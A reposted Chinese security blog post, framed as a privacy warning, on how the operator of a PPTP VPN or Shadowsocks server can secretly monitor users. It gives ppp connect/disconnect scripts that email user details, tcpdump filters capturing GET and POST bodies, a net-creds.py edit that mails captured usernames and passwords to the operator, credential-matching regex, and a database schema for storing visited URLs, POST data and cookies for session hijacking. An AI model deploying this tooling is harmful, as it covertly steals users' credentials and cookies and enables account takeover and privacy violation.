连了我的VPN,你的一举一动都在我的监控之中

admin 2018年5月8日10:38:441 10,110 views1字数 6166阅读20分33秒阅读模式
摘要

本文旨在提醒经常使用 VPN/Shadowsocks 服务的童鞋注意自己的账号隐私安全,标题的 VPN 用 Shadowsocks 更为妥当,本文的主角是 Shadowsocks,关于 VPN 服务的不安全性,也会提到。


本文旨在提醒经常使用 VPN/Shadowsocks 服务的童鞋注意自己的账号隐私安全,标题的 VPN 用 Shadowsocks 更为妥当,本文的主角是 Shadowsocks,关于 VPN 服务的不安全性,也会提到。

先来看一张效果图:

连了我的VPN,你的一举一动都在我的监控之中

这张图片的场景是这样的,小明想 FAN'QIANG ,看一看外面的世界,问我要了一个 Shadowsocks 的账号,连上之后,一阵狂览,殊不知,VPS 上正在记录着他访问的每一个网页,包括输入的账号密码,不止如此,他输入的账号密码也会实时邮件给我,如下:

连了我的VPN,你的一举一动都在我的监控之中

有了小明的账号密码,可以登录对应的网站,没有也不打紧,这不还有 Cookie,只要是他登录过的网站,记录了 Cookie,一样可以以他的身份登录,这样小明对我就是透明的了。
上面都是 YY 的,只是我在接触到这个东西的时候,想着自己的信息是否也会被别人这样记录,就研究了一下,仅供娱乐,哈哈。
开始步入正题了,最早的研究对象是 VPN,在 VPS 上搭建了 PPTP VPN,最开始实现的是,小明连接或断开 VPN 之后我都可以实时知道,然后就开始了。

关于 PPTP VPN 记录用户连接断开信息:
/etc/ppp/chap-secrets文件可以编辑VPN用户信息。
VPN连接信息记录(/etc/ppp/ip-up文件):

#!/bin/sh LOG_DIR="/home/pptpd" curDay=`date +"%Y%m%d"` logFile="${LOG_DIR}/pptpd${curDay}.log" echo "##################################" >> $logFile echo "Now User $PEERNAME is connected!!!" >> $logFile echo "##################################" >> $logFile echo "time: `date -d today +%F_%T`" >> $logFile echo "clientIP: $6" >> $logFile echo "username: $PEERNAME" >> $logFile echo "device: $1" >> $logFile echo "vpnIP: $4" >> $logFile echo "assignIP: $5" >> $logFile echo -e "time: `date -d today +%F_%T`/nclientIP: $6/nusername: $PEERNAME/n" | mail -s "$PEERNAME connect vpn" xxx@mail.com 

VPN断开信息记录(/etc/ppp/ip-down文件):

#!/bin/sh LOG_DIR="/home/pptpd" curDay=`date +"%Y%m%d"` logFile="${LOG_DIR}/pptpd${curDay}.log" echo "#####################################" >> $logFile echo "Now User $PEERNAME is disconnected!!!" >> $logFile echo "#####################################" >> $logFile echo "time: `date -d today +%F_%T`" >> $logFile echo "clientIP: $6" >> $logFile echo "username: $PEERNAME" >> $logFile echo "device: $1" >> $logFile echo "vpnIP: $4" >> $logFile echo "assignIP: $5" >> $logFile echo "connect time: $CONNECT_TIME s" >> $logFile echo "bytes sent: $BYTES_SENT B" >> $logFile echo "bytes rcvd: $BYTES_RCVD B" >> $logFile sum_bytes=$(($BYTES_SENT+$BYTES_RCVD)) sum=`echo "scale=2;$sum_bytes/1024/1024"|bc` echo "bytes sum: $sum MB" >> $logFile ave=`echo "scale=2;$sum_bytes/1024/$CONNECT_TIME"|bc` echo "average speed: $ave KB/s" >> $logFile echo -e "time: `date -d today +%F_%T`/nclientIP: $6/nusername: $PEERNAME/n" | mail -s "$PEERNAME disconnected vpn" xxx@mail.com 

以上就可以实现小明连了我的 VPN 或者断开之后,邮件通知到我。
继续,只是知道小明连接或者断开了我的 VPN,好像还是不太好玩,我想知道小明此刻或之前浏览了什么网页,怎么实现,这个时候接触到了 TCPDUMP,一条命令搞定 HTTP 请求:

http请求: sudo tcpdump -s 0 -A tcp[20:2]=0x4745 or tcp[20:2]=0x504f  记录GET和POST请求: tcpdump -s 0 -A '(tcp[(tcp[12]>>2):4] = 0x47455420) or (tcp[(tcp[12]>>2):4] = 0x504f5354)' 

嗯,对 PPTP VPN 的研究到此为止,主要原因是之前用的VPS非常不给力,自己用都是问题,iPhone 新系统去掉了 PPTP VPN 连接选项,所以后来也就放弃了。

正儿八经接触到 Shadowsocks 是近段时间的事,换了一给力点的 VPS,目前看也不给力,自用还凑合,装了 Shadowsocks 服务,还是想以之前的方式看小明连上后做了什么事。用 TCPDUMP 写了一个 Shell 脚本,实现了日志记录功能,但是解析HTTP请求信息这块用Shell不擅长,继而接触到了 Net-Creds.py 这个工具,GitHub 上有,发现解析日志输出的数据太少了,没有 Cookie 、UA 等信息,倒是可以捕获到账号密码信息,这个地方还可以,可以改源码实现邮件通知:

net-creds.py 596行:

os.system("echo '" + user_msg + " "+ pass_msg + "' |mail -s 'Hey, somebody coming' [email]xxx@mail.com[/email]") 

Net-Creds.py 密码匹配的代码(很好,可以借鉴):

def get_login_pass(body):     '''     Regex out logins and passwords from a string     '''     user = None     passwd = None     # Taken mainly from Pcredz by Laurent Gaffie     userfields = ['log','login', 'wpname', 'ahd_username', 'unickname', 'nickname', 'user', 'user_name',                   'alias', 'pseudo', 'email', 'username', '_username', 'userid', 'form_loginname', 'loginname',                   'login_id', 'loginid', 'session_key', 'sessionkey', 'pop_login', 'uid', 'id', 'user_id', 'screename',                   'uname', 'ulogin', 'acctname', 'account', 'member', 'mailaddress', 'membername', 'login_username',                   'login_email', 'loginusername', 'loginemail', 'uin', 'sign-in', 'usuario']     passfields = ['ahd_password', 'pass', 'password', '_password', 'passwd', 'session_password', 'sessionpassword',                    'login_password', 'loginpassword', 'form_pw', 'pw', 'userpassword', 'pwd', 'upassword', 'login_password'                   'passwort', 'passwrd', 'wppassword', 'upasswd','senha','contrasena']     for login in userfields:         login_re = re.search('(%s=[^&]+)' % login, body, re.IGNORECASE)         if login_re:             user = login_re.group()     for passfield in passfields:         pass_re = re.search('(%s=[^&]+)' % passfield, body, re.IGNORECASE)         if pass_re:             passwd = pass_re.group()     if user and passwd:         return (user, passwd) 

没想着继续分析 Net-Creds.py 的代码,安装 Shadowsocks 的时候忽略了是使用pip安装的,这个时候突然想起来了,应该去看看 Shadowsocks 的源码,从源码入手看能不能更好的实现。

Shadowsocks 源码文件 tcprelay.py 实现了对HTTP数据的解析,在 _handle_stage_addr(self, data) 方法里,对data数据解析,即可实现上面上面提到的,想知道小明此刻或之前浏览了什么网页,分享下大概的思路。

新写了两个Python模块文件,一个是 mysql.py ,一个是 sniffer.py , mysql.py 文件是自己封装的 MySQL 数据库操作类,sniffer.py 主要实现数据解析入库功能。
贴一下建表语句:

CREATE TABLE `http` (   `id` int(11) NOT NULL AUTO_INCREMENT,   `host` varchar(50) DEFAULT NULL COMMENT 'host',   `ip` varchar(20) DEFAULT NULL COMMENT 'ip',   `ip_addr` varchar(255) DEFAULT NULL COMMENT 'ip',   `remote_port` varchar(20) DEFAULT NULL COMMENT 'port',   `url` text COMMENT 'url',   `referer` text COMMENT 'referer',   `request_type` tinyint(1) DEFAULT '0' COMMENT ' 1 GET 2 POST',   `is_image` tinyint(1) DEFAULT '0' COMMENT 'url 0  1 ',   `post_data` text COMMENT 'post',   `cookie` text COMMENT 'cookie',   `headers` text COMMENT 'header',   `user_agent` tinytext COMMENT 'ua',   `create_time` timestamp NULL DEFAULT NULL,   PRIMARY KEY (`id`),   KEY `host` (`host`) ) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8 COMMENT='http'; 

数据表备注:
ip_addr 是IP地址字段,调用淘宝接口,解析IP信息,入库时会先查一下库中是否有相同IP的地址信息,有的话用当前库中的地址信息,没有的话再调用淘宝接口。
is_image 字段,当前URL是否是图片链接,图片链接比较多,不考虑入库,根据需要修改代码记录,过滤静态资源不入库,可配:

filter_fields = ['.png', '.ico', '.jpeg', '.jpg', '.gif', '.svg', '.js', '.css', '.woff', '.ttf']           for filter_field in filter_fields:                       if filter_field in http_url:                             return 

headers 字段,请求头全部信息,不需要记录,按需。

Web 页面展示,借用了一只猿的GSM Sniffer Web页面,改巴改巴,谢过谢过。

来个结尾,呼应开头,哈哈。记录小明得信息不是好事,这样会没朋友的,所以只是当做技术研究还可以。然后还是主要想提醒各位童鞋在 FAN'QIANG 的时候,注意自己的隐私安全,不要输入账号密码信息,登录过账号信息的网站尽量也不要访问,网络安全需要你我他的积极参与,哈哈!
技术含量不高,很多大佬应该都有实现,只是没拿出来分享,欢迎各位大佬分享交流。

本文转自T00LS [ scuke ]

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2018年5月8日10:38:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   连了我的VPN,你的一举一动都在我的监控之中http://cn-sec.com/archives/50988.html
评论  1  访客  1
    • xxy 0

    发表评论

    匿名网友 填写信息